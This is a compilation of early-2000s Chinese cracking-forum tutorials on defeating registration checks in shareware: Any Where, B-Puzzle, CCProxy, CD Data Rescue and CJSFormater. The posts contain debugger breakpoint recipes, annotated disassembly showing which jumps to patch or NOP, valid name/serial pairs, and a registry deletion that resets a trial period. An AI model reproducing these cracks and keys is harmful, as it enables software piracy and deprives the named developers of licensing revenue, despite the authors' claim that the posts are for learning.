:0042FF70 8D55DC lea edx, dword ptr [ebp-24]
:0042FF73 52 push edx
:0042FF74 E817B3FFFF call 0042B290 <========此call为比较注册码
:0042FF79 0FBFC0 movsx eax, ax
:0042FF7C 85C0 test eax, eax <========测试eax是否为零
:0042FF7E 0F848F010000 je 00430113 <========eax为零注册失败
此处不能跳,nop掉

:0042FF84 C745FC06000000 mov [ebp-04], 00000006
:0042FF8B 833D50F1430000 cmp dword ptr [0043F150], 00000000
:0042FF92 751C jne 0042FFB0
:0042FF94 6850F14300 push 0043F150
:0042FF99 68F4554000 push 004055F4

* Reference To: MSVBVM50.__vbaNew2, Ord:0000h
|
:0042FF9E FF1588444400 Call dword ptr [00444488]


Any Where 5.1

 标 题:唉，最近被几个软件搞晕了头，复杂的不行，就来简单的吧，贴上菜鸟第二篇破解文章！ (2千字)
发信人:turkey99
时 间:2001-12-15 22:43:19
详细信息:
any where 5.1
系统软件，可以非常方便的移动，拷贝，删除文件等等，可直接将文件或文件夹压缩成zip文件，且集成到了鼠标右键当中。我安装试用了一下，感觉确实方便极了，不过呢，没有注册时，有30天的使用限制。破它
运行any where （什么！？？，开始菜单里没有关联？桌面上没有图标？怎么运行啊？我倒！作者本着方便实用的原则，就没有其它花里胡俏的界面了，在任意一个文件或文件夹上点右键，就可以看到它的身影了），然后点击register菜单，
输入用户名：Turkey
输入注册码：987654321
启动trw －-> bpx hmemcpy －-> g ，回到程序，点击ok，被trw拦截下来，小心的按f12和f10来到这里：
:600091BE mov eax, dword ptr [esp+10] //将用户名送到eax
:600091C2 mov ecx, dword ptr [eax-08] //将用户名长度送到ecx
:600091C5 test ecx, ecx //看用户名长度是否为0
:600091C7 je 60009616 //用户名为空就跳走
:600091CD mov ecx, dword ptr [esp+14] //将注册码送到ecx
:600091D1 mov eax, dword ptr [ecx-08] //将注册码长度送到eax
:600091D4 test eax, eax //看注册码长度是否为0
:600091D6 je 60009616 //注册码为空就跳走
:600091DC push ecx
:600091DD lea edx, dword ptr [esp+14]
:600091E1 mov ecx, esp
:600091E3 mov dword ptr [esp+28], esp
:600091E7 push edx
:600091E8 call 6002DA3F
:600091ED lea eax, dword ptr [esp+28]
:600091F1 mov ecx, esi
:600091F3 push eax
:600091F4 call 600096A0 //此call过后，正确的注册码就已计算出来了，说明它的算法要么在这个call里面，要么就还包括了上面的一段代码，可惜我的汇编太差，无赖看了半天，也没有看出个究竟来，到是把头看大了几倍。看来我还是得静下心来，认真学习一下汇编了。
:600091F9 push eax
:600091FA lea ecx, dword ptr [esp+1C]
:600091FE mov [esp+4C], 07
:60009203 call 6002DE03
:60009208 lea ecx, dword ptr [esp+24]
:6000920C mov byte ptr [esp+48], bl
:60009210 call 6002DCCA
:60009215 mov ecx, dword ptr [esp+18] //此时D ECX可看到正确的注册码
:60009219 mov edx, dword ptr [esp+14] //此时D EDX可看到自己输入的错误注册码
:6000921D push ecx
:6000921E push edx
:6000921F call 60013702 //这里是关键对比call
:60009224 add esp, 00000008
:60009227 test eax, eax //检查注册码是否正确的标记位
:60009229 jne 600095EF //不对就跳，那就game voer了
要得到注册码很简单，我就不多说了，哪位有空，或者闲的、闷的发慌的话，就给我详细分析一下注册码的计算过程吧 :)
整理一下：
用户名：Turkey
注册码：AW5-5578-13464-84-1617350
收工，要睡觉了，:)
cracker：Turkey/灭害灵
2001.12.15@02：46

今天上网一找，原来这东西早有注册机了，没关系，我们是学技术嘛！


B-Puzzle Version 5.0

 标 题:B-Puzzle Version 5.0破解过程，请高手指点，谢谢！★强烈向初学破解者推荐★ (2千字)
发信人:同心是我
时 间:2001-11-25 16:57:22
详细信息:
破解 B-Puzzle Version 5.0
作　　者：同心是我
破解时间：2001-11-14
软件简介：一个旋转排序的益智游戏，数字、图片都可以，玩起来非常过瘾！不错！
下　　载：http://www.adcsoft.com
限　　制：试玩10天，游戏画面上显示“Unregistered Version of B-Puzzle”。
注册费用：$10
破解工具：TRW 1.23
难　　度：易

◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆
早就听说ADC-Soft的游戏非常适合新手操练，于是就奔http://www.adcsoft.com
拉回来了四个游戏，一一加以开刀。昨天破完了2个，今天接着破，谁让我不破就手
痒呢？这几个软件真是练习破解的精品。
我刚开始学破解没多长时间，希望各位高手看后别笑我水平太菜，请多多给我帮助
和指导，谢谢！

运行B-Puzzle，接下来又是漫长而又短暂的3秒钟，点击“Enter reg.code”按钮，
进入注册提示窗口，填写：
User name:tongxinshiwo Registraiton code:780822
按Ctrl＋N激活TRW，
输入 bpx hmemcpy ←…… 下断点
输入 g ←…… 继续运行
返回注册窗口，点击 OK
又返回TRW，你会在屏幕下方看到：
Break on BP1 ←…… 拦截成功
输入 bc * ←…… 清除断点
输入 pmodule ←…… 等于按F12若干次
这时，在屏幕中间你能看到绿色的那一行：
015F:00458AD5 MOV [EBX+0C],EAX
直接按62下F10到:
015F:0040B9CF MOV EDX,02
输入 d eax
输入 e ←……光标跳至屏幕上部的内存窗口，按↑键向上查看。
一直到 0030:0070EC5C处，
看吧，注册码就在眼前。←…… 在屏幕右上方PROT32下面会有个注册码。
我的是：63259863
按F5返回，会提示“Invalid user name or registration code.”，
点击“确定”按钮，再点击“Enter reg.code”按钮，进入注册窗口，重
新输入User Name和Registration Code，点击“OK”按钮，你就可以看
到“Thank youfor you registering!”。哈哈，我已经是注册用户了！

User name: tongxinshiwo
Registraiton code: 63259863

以同样的方法得到中文注册名的注册码。
User name: 同心是我
Registraiton code: 1470

破解后的思考：
(1)这个软件到期后，会提示“Your evaluation copy has been expired.”
如果这时你点击“Register Later”按钮，程序会自动退出，如果你点击右上角
“×”按钮就会看到游戏画面了。看来10天的限制还是不彻底。下个版本作者
要继续努力哟，嘻嘻……
(2)英文名字的注册码是8个数字，中文的是4个数字，在内存中找到1470这个
注册码后，我还想这是个假注册码呢，没想到一注册到也成功了。在破解以前
未曾想到两个注册码的位数竟相差4位。

这是我的第五篇破解手记，不足之处请大家多多指出，谢谢！

同心是我 372.net@371.net

★破解很容易学的，只要你有信心和毅力再加上适当的破解工具软件，相信你也会
成为破解高手的，让我们一起进步吧！★
◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇THE END◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆


CCProxy 4.30

标 题:快速破解CCProxy 4.30(7千字)
发信人:明天一定要买DVD!
时 间:2002-1-26 11:25:48
详细信息:

!URL http://bj.onlinedown.net/down/ccproxysetup.zip

1、找关键提示！
=====================================================================
* Reference To: KERNEL32.GetPrivateProfileStringA, Ord:013Ah---------->CCproxy.ini
|
:00404914 8B3538224400 mov esi, dword ptr [00442238]
:0040491A F3 repz
:0040491B AB stosd
:0040491C 68E82A4500 push 00452AE8
:00404921 8D8C2488080000 lea ecx, dword ptr [esp+00000888]

* Possible Reference to Dialog: DialogID_0085, CONTROL_ID:0400, ""
|
:00404928 6800040000 push 00000400
:0040492D 51 push ecx
:0040492E 66AB stosw
:00404930 68C02A4500 push 00452AC0

* Possible StringData Ref from Data Obj ->"RegCode"
|
:00404935 6838F34400 push 0044F338

* Possible StringData Ref from Data Obj ->"System"
|
:0040493A 6868F24400 push 0044F268
:0040493F AA stosb
:00404940 FFD6 call esi
:00404942 68E82A4500 push 00452AE8
:00404947 8D942484040000 lea edx, dword ptr [esp+00000484]

* Possible Reference to Dialog: DialogID_0085, CONTROL_ID:0400, ""
|
:0040494E 6800040000 push 00000400
:00404953 52 push edx
:00404954 68C02A4500 push 00452AC0

* Possible StringData Ref from Data Obj ->"UserName"
|
:00404959 682CF34400 push 0044F32C

* Possible StringData Ref from Data Obj ->"System"
|
:0040495E 6868F24400 push 0044F268
:00404963 FFD6 call esi
:00404965 8D842480040000 lea eax, dword ptr [esp+00000480]
:0040496C 8D8C2484080000 lea ecx, dword ptr [esp+00000884]
:00404973 50 push eax
:00404974 51 push ecx
:00404975 E8D6010000 call 00404B50---------->呵呵，这才是关键的call！进入！
:0040497A A3F45A4500 mov dword ptr [00455AF4], eax---------->反推到这里，好家伙！
:0040497F B043 mov al, 43
:00404981 88442424 mov byte ptr [esp+24], al
:00404985 88442425 mov byte ptr [esp+25], al

* Possible StringData Ref from Data Obj ->" "
|
:00404989 BF28F34400 mov edi, 0044F328
:0040498E 83C9FF or ecx, FFFFFFFF
:00404991 33C0 xor eax, eax
:00404993 33DB xor ebx, ebx
:00404995 F2 repnz
:00404996 AE scasb
:00404997 F7D1 not ecx
:00404999 2BF9 sub edi, ecx
:0040499B 8D542424 lea edx, dword ptr [esp+24]
:0040499F 8BF7 mov esi, edi
:004049A1 8BE9 mov ebp, ecx
:004049A3 8BFA mov edi, edx
:004049A5 83C9FF or ecx, FFFFFFFF
:004049A8 C644242650 mov [esp+26], 50
:004049AD C644242772 mov [esp+27], 72
:004049B2 C64424286F mov [esp+28], 6F
:004049B7 C644242978 mov [esp+29], 78
:004049BC C644242A79 mov [esp+2A], 79
:004049C1 885C242B mov byte ptr [esp+2B], bl
:004049C5 F2 repnz
:004049C6 AE scasb
:004049C7 8BCD mov ecx, ebp
:004049C9 4F dec edi
:004049CA C1E902 shr ecx, 02
:004049CD F3 repz
:004049CE A5 movsd
:004049CF 8BCD mov ecx, ebp
:004049D1 8D44241C lea eax, dword ptr [esp+1C]
:004049D5 83E103 and ecx, 00000003
:004049D8 50 push eax
:004049D9 F3 repz
:004049DA A4 movsb
:004049DB E860FEFFFF call 00404840
:004049E0 8B00 mov eax, dword ptr [eax]
:004049E2 83C9FF or ecx, FFFFFFFF
:004049E5 8BF8 mov edi, eax
:004049E7 33C0 xor eax, eax
:004049E9 83C40C add esp, 0000000C
:004049EC 8D54241C lea edx, dword ptr [esp+1C]
:004049F0 F2 repnz
:004049F1 AE scasb
:004049F2 F7D1 not ecx
:004049F4 2BF9 sub edi, ecx
:004049F6 8BF7 mov esi, edi
:004049F8 8BE9 mov ebp, ecx
:004049FA 8BFA mov edi, edx
:004049FC 83C9FF or ecx, FFFFFFFF
:004049FF F2 repnz
:00404A00 AE scasb
:00404A01 8BCD mov ecx, ebp
:00404A03 4F dec edi
:00404A04 C1E902 shr ecx, 02
:00404A07 F3 repz
:00404A08 A5 movsd
:00404A09 8BCD mov ecx, ebp
:00404A0B 83E103 and ecx, 00000003
:00404A0E F3 repz
:00404A0F A4 movsb
:00404A10 8D4C2414 lea ecx, dword ptr [esp+14]
:00404A14 E8F8270300 call 00437211---------->并不是关键call！
:00404A19 A1040C4500 mov eax, dword ptr [00450C04]
:00404A1E 89442410 mov dword ptr [esp+10], eax
:00404A22 A1F45A4500 mov eax, dword ptr [00455AF4]---------->赋值给eax，关键！可bpm 00455AF4反推！
:00404A27 899C24900C0000 mov dword ptr [esp+00000C90], ebx
:00404A2E 3BC3 cmp eax, ebx---------->比较！
:00404A30 7465 je 00404A97---------->不能跳！
:00404A32 8D4C2414 lea ecx, dword ptr [esp+14]

* Possible Reference to String Resource ID=00127: "%s"
|
:00404A36 6A7F push 0000007F
:00404A38 51 push ecx
:00404A39 E862F7FFFF call 004041A0
:00404A3E 83C408 add esp, 00000008
:00404A41 50 push eax
:00404A42 8D4C2414 lea ecx, dword ptr [esp+14]
:00404A46 C68424940C000001 mov byte ptr [esp+00000C94], 01
:00404A4E E8F7280300 call 0043734A
:00404A53 8D4C2414 lea ecx, dword ptr [esp+14]
:00404A57 889C24900C0000 mov byte ptr [esp+00000C90], bl
:00404A5E E8AE270300 call 00437211
:00404A63 8B442410 mov eax, dword ptr [esp+10]
:00404A67 8D54241C lea edx, dword ptr [esp+1C]
:00404A6B 52 push edx
:00404A6C 8D8C2484000000 lea ecx, dword ptr [esp+00000084]
:00404A73 50 push eax
:00404A74 51 push ecx
:00404A75 E88AD50100 call 00422004
:00404A7A 83C40C add esp, 0000000C
:00404A7D E8612E0300 call 004378E3
:00404A82 3BC3 cmp eax, ebx
:00404A84 0F8481000000 je 00404B0B
:00404A8A 8B10 mov edx, dword ptr [eax]
:00404A8C 8BC8 mov ecx, eax
:00404A8E FF5274 call [edx+74]
:00404A91 3BC3 cmp eax, ebx
:00404A93 7476 je 00404B0B
:00404A95 EB62 jmp 00404AF9

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404A30(C)
|
:00404A97 8D542418 lea edx, dword ptr [esp+18]

* Possible Reference to String Resource ID=00128: "%s(Evaluation Version Can Only Support No More Than 5 Users)"---------->关键提示！
|
:00404A9B 6880000000 push 00000080
=====================================================================
2、进入关键call！
=====================================================================
* Referenced by a CALL at Address:
|:00404975
|
:00404B50 64A100000000 mov eax, dword ptr fs:[00000000]
:00404B56 6AFF push FFFFFFFF
:00404B58 688B024400 push 0044028B
:00404B5D 50 push eax
:00404B5E 64892500000000 mov dword ptr fs:[00000000], esp
:00404B65 81EC04080000 sub esp, 00000804
:00404B6B 83C9FF or ecx, FFFFFFFF
:00404B6E 33C0 xor eax, eax
:00404B70 53 push ebx
:00404B71 8B9C2418080000 mov ebx, dword ptr [esp+00000818]
:00404B78 57 push edi
:00404B79 8BFB mov edi, ebx
:00404B7B F2 repnz
:00404B7C AE scasb
:00404B7D F7D1 not ecx
:00404B7F 49 dec ecx
:00404B80 0F8426010000 je 00404CAC
:00404B86 8B942420080000 mov edx, dword ptr [esp+00000820]
:00404B8D 83C9FF or ecx, FFFFFFFF
:00404B90 8BFA mov edi, edx
:00404B92 F2 repnz
:00404B93 AE scasb
:00404B94 F7D1 not ecx
:00404B96 49 dec ecx
:00404B97 0F840F010000 je 00404CAC
:00404B9D 56 push esi
:00404B9E 52 push edx
:00404B9F 52 push edx
:00404BA0 E8AB160100 call 00416250
:00404BA5 8BF8 mov edi, eax
:00404BA7 83C9FF or ecx, FFFFFFFF
:00404BAA 33C0 xor eax, eax
:00404BAC 8D942418040000 lea edx, dword ptr [esp+00000418]
:00404BB3 F2 repnz
:00404BB4 AE scasb
:00404BB5 F7D1 not ecx
:00404BB7 2BF9 sub edi, ecx
:00404BB9 8BC1 mov eax, ecx
:00404BBB 8BF7 mov esi, edi
:00404BBD 8BFA mov edi, edx
:00404BBF C1E902 shr ecx, 02
:00404BC2 F3 repz
:00404BC3 A5 movsd
:00404BC4 8BC8 mov ecx, eax
:00404BC6 83E103 and ecx, 00000003
:00404BC9 F3 repz
:00404BCA A4 movsb
:00404BCB 8D4C2418 lea ecx, dword ptr [esp+18]
:00404BCF 51 push ecx
:00404BD0 E85BF4FFFF call 00404030
:00404BD5 8D54241C lea edx, dword ptr [esp+1C]
:00404BD9 8D84241C040000 lea eax, dword ptr [esp+0000041C]
:00404BE0 52 push edx
:00404BE1 50 push eax
:00404BE2 E869160100 call 00416250
:00404BE7 8B0D040C4500 mov ecx, dword ptr [00450C04]
:00404BED 83C414 add esp, 00000014
:00404BF0 894C240C mov dword ptr [esp+0C], ecx
:00404BF4 50 push eax
:00404BF5 8D4C2410 lea ecx, dword ptr [esp+10]
:00404BF9 C784241C08000000000000 mov dword ptr [esp+0000081C], 00000000
:00404C04 E891270300 call 0043739A

* Possible StringData Ref from Data Obj ->"yy"
|
:00404C09 6850F34400 push 0044F350

* Possible StringData Ref from Data Obj ->".."
|
:00404C0E 6850F14400 push 0044F150
:00404C13 8D4C2414 lea ecx, dword ptr [esp+14]
:00404C17 E84ACC0200 call 00431866

* Possible StringData Ref from Data Obj ->"aa"
|
:00404C1C 684CF34400 push 0044F34C

* Possible StringData Ref from Data Obj ->"//"
|
:00404C21 6848F34400 push 0044F348
:00404C26 8D4C2414 lea ecx, dword ptr [esp+14]
:00404C2A E837CC0200 call 00431866

* Possible StringData Ref from Data Obj ->"oo"
|
:00404C2F 6844F34400 push 0044F344

* Possible StringData Ref from Data Obj ->"$$"
|
:00404C34 6840F34400 push 0044F340
:00404C39 8D4C2414 lea ecx, dword ptr [esp+14]
:00404C3D E824CC0200 call 00431866---------->计算正确注册码的call，你可进去看看！
:00404C42 8B44240C mov eax, dword ptr [esp+0C]
:00404C46 8BF3 mov esi, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404C6A(C)
|
:00404C48 8A10 mov dl, byte ptr [eax]---------->d eax 正确注册码！
:00404C4A 8A1E mov bl, byte ptr [esi]---------->d esi 错误注册码！
:00404C4C 8ACA mov cl, dl
:00404C4E 3AD3 cmp dl, bl---------->比较！
:00404C50 751E jne 00404C70
:00404C52 84C9 test cl, cl
:00404C54 7416 je 00404C6C
:00404C56 8A5001 mov dl, byte ptr [eax+01]
:00404C59 8A5E01 mov bl, byte ptr [esi+01]
:00404C5C 8ACA mov cl, dl
:00404C5E 3AD3 cmp dl, bl---------->比较！
:00404C60 750E jne 00404C70
:00404C62 83C002 add eax, 00000002
:00404C65 83C602 add esi, 00000002
:00404C68 84C9 test cl, cl
:00404C6A 75DC jne 00404C48

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404C54(C)
|
:00404C6C 33C0 xor eax, eax
:00404C6E EB05 jmp 00404C75

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00404C50(C), :00404C60(C)
|
:00404C70 1BC0 sbb eax, eax
:00404C72 83D8FF sbb eax, FFFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404C6E(U)
|
:00404C75 33C9 xor ecx, ecx
:00404C77 C7842418080000FFFFFFFF mov dword ptr [esp+00000818], FFFFFFFF
:00404C82 85C0 test eax, eax
:00404C84 0F94C1 sete cl
:00404C87 8BF1 mov esi, ecx
:00404C89 8D4C240C lea ecx, dword ptr [esp+0C]
:00404C8D E87F250300 call 00437211
:00404C92 8BC6 mov eax, esi
:00404C94 5E pop esi
:00404C95 5F pop edi
:00404C96 5B pop ebx
:00404C97 8B8C2404080000 mov ecx, dword ptr [esp+00000804]
:00404C9E 64890D00000000 mov dword ptr fs:[00000000], ecx
:00404CA5 81C410080000 add esp, 00000810
:00404CAB C3 ret
=====================================================================
3、小结！

CCProxy.ini内容：

[System]
Language=ChineseGB
Setup=1
RegCode=o1o37490023oLElm3dhCxqjUz44UJajSca
UserName=CCProxy

我的特征码：374900232070

标 题:方法太麻烦，其实可以简单得多，换个断点，半分钟破解有余！ (空)
发信人:PaulYoung[CCG]
时 间:2002-1-26 11:44:45
详细信息:

bpx GetPrivateProfileStringA


CD Data Rescue1.1

 标 题:Crack之亲历手迹5------CD Data Rescue1.1 (7千字)
发信人:y97523
时 间:2002-3-9 20:02:22 1
详细信息:
Crack之亲历手迹5------CD Data Rescue1.1
追出序列号(由号得到Name)
CD Data Rescue1.1获得序列号的获得、比较、警告函数
:u ecs:0041575b l 300
015F:0041575B NOP
015F:0041575C NOP
015F:0041575D NOP
015F:0041575E NOP
015F:0041575F NOP
015F:00415760 PUSH FF
015F:00415762 PUSH 00450FE9
015F:00415767 MOV EAX,FS:[00000000]
015F:0041576D PUSH EAX
015F:0041576E MOV FS:[00000000],ESP
015F:00415775 SUB ESP,00000358
015F:0041577B PUSH EBX
015F:0041577C PUSH EBP
015F:0041577D MOV EBP,ECX
015F:0041577F PUSH ESI
015F:00415780 PUSH EDI
015F:00415781 LEA ECX,[ESP+10]
015F:00415785 CALL 00440AE0
015F:0041578A MOV EAX,[EBP+60]
015F:0041578D MOV DWORD PTR [ESP+00000370],00000000
015F:00415798 DEC EAX
015F:00415799 MOV [EBP+60],EAX
015F:0041579C JNZ 004157A5
015F:0041579E MOV ECX,EBP
015F:004157A0 CALL 0044EC72
015F:004157A5 PUSH 01
015F:004157A7 MOV ECX,EBP
015F:004157A9 CALL 0044ECF6;Call UPdateData(True)
015F:004157AE MOV EAX,[EBP+000002E8];eax=&name
015F:004157B4 MOV ESI,00474924
015F:004157B9 MOV DL,[EAX]
015F:004157BB MOV BL,[ESI]
015F:004157BD MOV CL,DL
015F:004157BF CMP DL,BL
015F:004157C1 JNZ 004157E1;jmp
015F:004157C3 TEST CL,CL
015F:004157C5 JZ 004157DD
015F:004157C7 MOV DL,[EAX+01]
015F:004157CA MOV BL,[ESI+01]
015F:004157CD MOV CL,DL
015F:004157CF CMP DL,BL
015F:004157D1 JNZ 004157E1
015F:004157D3 ADD EAX,02
015F:004157D6 ADD ESI,02
015F:004157D9 TEST CL,CL
015F:004157DB JNZ 004157B9
015F:004157DD XOR EAX,EAX
015F:004157DF JMP 004157E6
015F:004157E1 SBB EAX,EAX;jmp from 004157C1
015F:004157E3 SBB EAX,-01
015F:004157E6 TEST EAX,EAX
015F:004157E8 JZ 004159E7
015F:004157EE MOV EAX,[EBP+000002EC];eax=&lecense
015F:004157F4 LEA EBX,[EBP+000002EC]
015F:004157FA MOV ESI,00474924
015F:004157FF MOV DL,[EAX]
015F:00415801 MOV CL,DL
015F:00415803 CMP DL,[ESI]
015F:00415805 JNZ 00415823;jmp
015F:00415807 TEST CL,CL
015F:00415809 JZ 0041581F
015F:0041580B MOV DL,[EAX+01]
015F:0041580E MOV CL,DL
015F:00415810 CMP DL,[ESI+01]
015F:00415813 JNZ 00415823
015F:00415815 ADD EAX,02
015F:00415818 ADD ESI,02
015F:0041581B TEST CL,CL
015F:0041581D JNZ 004157FF
015F:0041581F XOR EAX,EAX
015F:00415821 JMP 00415828
015F:00415823 SBB EAX,EAX;jmp from 00415805
015F:00415825 SBB EAX,-01
015F:00415828 TEST EAX,EAX
015F:0041582A JZ 004159E7
015F:00415830 MOV EAX,[EBP+000002F0];eax=&code
015F:00415836 LEA EDI,[EBP+000002F0]
015F:0041583C MOV ESI,00474924
015F:00415841 MOV DL,[EAX]
015F:00415843 MOV CL,DL
015F:00415845 CMP DL,[ESI]
015F:00415847 JNZ 00415865;jmp
015F:00415849 TEST CL,CL
015F:0041584B JZ 00415861
015F:0041584D MOV DL,[EAX+01]
015F:00415850 MOV CL,DL
015F:00415852 CMP DL,[ESI+01]
015F:00415855 JNZ 00415865
015F:00415857 ADD EAX,02
015F:0041585A ADD ESI,02
015F:0041585D TEST CL,CL
015F:0041585F JNZ 00415841
015F:00415861 XOR EAX,EAX
015F:00415863 JMP 0041586A
015F:00415865 SBB EAX,EAX;jmp from 00415847
015F:00415867 SBB EAX,-01
015F:0041586A TEST EAX,EAX
015F:0041586C JZ 004159E7
015F:00415872 PUSH ECX
015F:00415873 MOV ECX,ESP
015F:00415875 MOV [ESP+20],ESP
015F:00415879 PUSH EDI
015F:0041587A CALL 0044E99C;Call MFC
015F:0041587F PUSH ECX
015F:00415880 MOV BYTE PTR [ESP+00000378],01
015F:00415888 MOV ECX,ESP
015F:0041588A MOV [ESP+20],ESP
015F:0041588E PUSH EBX
015F:0041588F CALL 0044E99C;Call MFC
015F:00415894 PUSH ECX
015F:00415895 LEA EAX,[EBP+000002E8];eax=&name
015F:0041589B MOV ECX,ESP
015F:0041589D MOV [ESP+20],ESP
015F:004158A1 PUSH EAX
015F:004158A2 MOV BYTE PTR [ESP+00000380],02
015F:004158AA CALL 0044E99C;Call MFC
015F:004158AF LEA ECX,[ESP+1C]
015F:004158B3 MOV BYTE PTR [ESP+0000037C],00
015F:004158BB CALL 00440B90;???????????
015F:004158C0 TEST EAX,EAX
015F:004158C2 MOV [EBP+64],EAX
015F:004158C5 PUSH 00
015F:004158C7 JNZ 0041595A;跳到注册成功处
015F:004158CD LEA ECX,[ESP+24]
015F:004158D1 CALL 0043CD70
015F:004158D6 PUSH ECX
015F:004158D7 MOV BYTE PTR [ESP+00000374],03
015F:004158DF MOV ECX,ESP
015F:004158E1 MOV [ESP+18],ESP
015F:004158E5 PUSH 0046DE80
015F:004158EA CALL 0044E9A2
015F:004158EF LEA ECX,[ESP+24]
015F:004158F3 CALL 0043CE90
015F:004158F8 LEA ECX,[ESP+20]
015F:004158FC CALL 0044EC06
015F:00415901 LEA ECX,[ESP+000000C4]
015F:00415908 MOV BYTE PTR [ESP+00000370],06
015F:00415910 CALL 0042AEA0
015F:00415915 LEA ECX,[ESP+00000084]
015F:0041591C MOV BYTE PTR [ESP+00000370],05
015F:00415924 CALL 00446640
015F:00415929 LEA ECX,[ESP+00000080]
015F:00415930 MOV BYTE PTR [ESP+00000370],04
015F:00415938 CALL 0044E996
015F:0041593D LEA ECX,[ESP+20]
015F:00415941 MOV BYTE PTR [ESP+00000370],00
015F:00415949 CALL 0044E9CC
015F:0041594E MOV ECX,EBP
015F:00415950 CALL 0044EC72
015F:00415955 JMP 004159E7
015F:0041595A LEA ECX,[ESP+000001C8]
015F:00415961 CALL 0043CD70
015F:00415966 PUSH ECX
015F:00415967 MOV BYTE PTR [ESP+00000374],07
015F:0041596F MOV ECX,ESP
015F:00415971 MOV [ESP+18],ESP
015F:00415975 PUSH 0046DE64
015F:0041597A CALL 0044E9A2;Call MFC
015F:0041597F LEA ECX,[ESP+000001C8]
015F:00415986 CALL 0043CE90
015F:0041598B LEA ECX,[ESP+000001C4]
015F:00415992 CALL 0044EC06；Call MFC42.显示密码错误对话框
015F:00415997 LEA ECX,[ESP+00000268]
015F:0041599E MOV BYTE PTR [ESP+00000370],0A
015F:004159A6 CALL 0042AEA0
015F:004159AB LEA ECX,[ESP+00000228]
015F:004159B2 MOV BYTE PTR [ESP+00000370],09
015F:004159BA CALL 00446640
015F:004159BF LEA ECX,[ESP+00000224]
015F:004159C6 MOV BYTE PTR [ESP+00000370],08
015F:004159CE CALL 0044E996
015F:004159D3 LEA ECX,[ESP+000001C4]
015F:004159DA MOV BYTE PTR [ESP+00000370],00
015F:004159E2 CALL 0044E9CC
015F:004159E7 LEA ECX,[ESP+10]
015F:004159EB MOV DWORD PTR [ESP+00000370],FFFFFFFF
015F:004159F6 CALL 00440B20
015F:004159FB MOV ECX,[ESP+00000368]
015F:00415A02 POP EDI
015F:00415A03 POP ESI
015F:00415A04 POP EBP
015F:00415A05 MOV FS:[00000000],ECX
015F:00415A0C POP EBX
015F:00415A0D ADD ESP,00000364
015F:00415A13 RET
015F:00415A14 NOP
015F:00415A15 NOP
015F:00415A16 NOP
Email:y97523@hotmail.com


CJSFormater0.7

 标 题:我的第3篇破文 cr--CJSFormater 高手请指导、指导!! (4千字)
发信人:zywicbc
时 间:2001-11-24 22:23:03
详细信息:
CJSFormater0.7 暴力破解 + 注册码破解(纯粹交流学习，别无它意)
作者：zywicbc
时间：2001.11.23
软件功能和特点：
CJSFormater是一个C++/JAVA 源程序的格式化工具，具有美化源程序、自动缩进等功能，是您软件开发过程中的得力助手。自动缩进、缩进量可以设置！函数体中间自动分段。C++/JAVA语法高亮度显示。处理速度快，在作者的机器上，3000行/秒 绿色软件，不用安装 ！但是CJSFormater在还没有注册之前，只能让你使用60天而已！本软件注册费用RMB ￥18元 ，或$8美元
下载：http://www.csdn.net/soft/openfile.asp?kind=1&id=13171
破解工具：TRW 2000 ,W32DASM V8.93 ,ultraedit,language,ProcDump

一、傻冒的解法
CJSFormater在还没有注册之前，只能让你使用60天,在注册表中查找：HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\privatestorage项目删除又可使用60天。

二、暴力的解法
    CJSFormater注册方式采用本机器ID号校验方式，只有ID和email、注册码完全正确时，注册键才会被激活。不过我采用另外一种办法，巧妙地破解了它。
    首先看有否加壳，用language发现是Neolite压缩，用ProcDump脱壳后，再一次用language发现是用Delphi编的。用DeDe反编不成功（为什么？？？？），只有用w32dasm了，首先反汇编它。在“串式参考”处找到"祝贺您，注册成功了！重新启动系统，注册将会生 "（注册成功的信息），双击后往上看

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004278E7(C)
|
:004278EA 8B45A4 mov eax, dword ptr [ebp-5C]
:004278ED E88A040000 call 00427D7C <--//这可能是验证注册码，call入看看
:004278F2 84C0 test al, al
:004278F4 7454 je 0042794A
:004278F6 6A00 push 00000000
:004278F8 8D459A lea eax, dword ptr [ebp-66]
:004278FB E860A4FDFF call 00401D60
:00427900 B202 mov dl, 02
:00427902 E88DA4FDFF call 00401D94
:00427907 668B08 mov cx, word ptr [eax]
:0042790A 51 push ecx
:0042790B 66C745B85C00 mov [ebp-48], 005C

***************************************************************
来到这里...这里肯定是验证注册码的关键了？
* Referenced by a CALL at Addresses:
|:00426B69 , :004278ED <--共有2处验证注册码?
|
:00427D7C 55 push ebp
:00427D7D 8BEC mov ebp, esp
:00427D7F 83C490 add esp, FFFFFF90
:00427D82 53 push ebx
:00427D83 56 push esi
:00427D84 57 push edi
:00427D85 8945A8 mov dword ptr [ebp-58], eax
:00427D88 B8F8B24A00 mov eax, 004AB2F8
:00427D8D E88E230600 call 0048A120
:00427D92 B201 mov dl, 01
:00427D94 A1AC424300 mov eax, dword ptr [004342AC]
:00427D99 E832C60000 call 004343D0
:00427D9E 8945A4 mov dword ptr [ebp-5C], eax
:00427DA1 66C745BC0800 mov [ebp-44], 0008
:00427DA7 8D45FC lea eax, dword ptr [ebp-04]
:00427DAA E8059CFDFF call 004019B4
:00427DAF FF45C8 inc [ebp-38]
:00427DB2 66C745BC1400 mov [ebp-44], 0014
:00427DB8 66C745BC2000 mov [ebp-44], 0020
:00427DBE 8D45F8 lea eax, dword ptr [ebp-08]
:00427DC1 E8EE9BFDFF call 004019B4
:00427DC6 FF45C8 inc [ebp-38]
:00427DC9 66C745BC1400 mov [ebp-44], 0014
:00427DCF 66C745BC2C00 mov [ebp-44], 002C
:00427DD5 BA02000080 mov edx, 80000002
:00427DDA 8B45A4 mov eax, dword ptr [ebp-5C]
:00427DDD E8FEC10600 call 00493FE0
:00427DE2 66C745BC3800 mov [ebp-44], 0038
:00427DE8 8D45F4 lea eax, dword ptr [ebp-0C]
:00427DEB E8C49BFDFF call 004019B4
:00427DF0 8BC8 mov ecx, eax
:00427DF2 FF45C8 inc [ebp-38]
:00427DF5 8B55A8 mov edx, dword ptr [ebp-58]
:00427DF8 81C204030000 add edx, 00000304

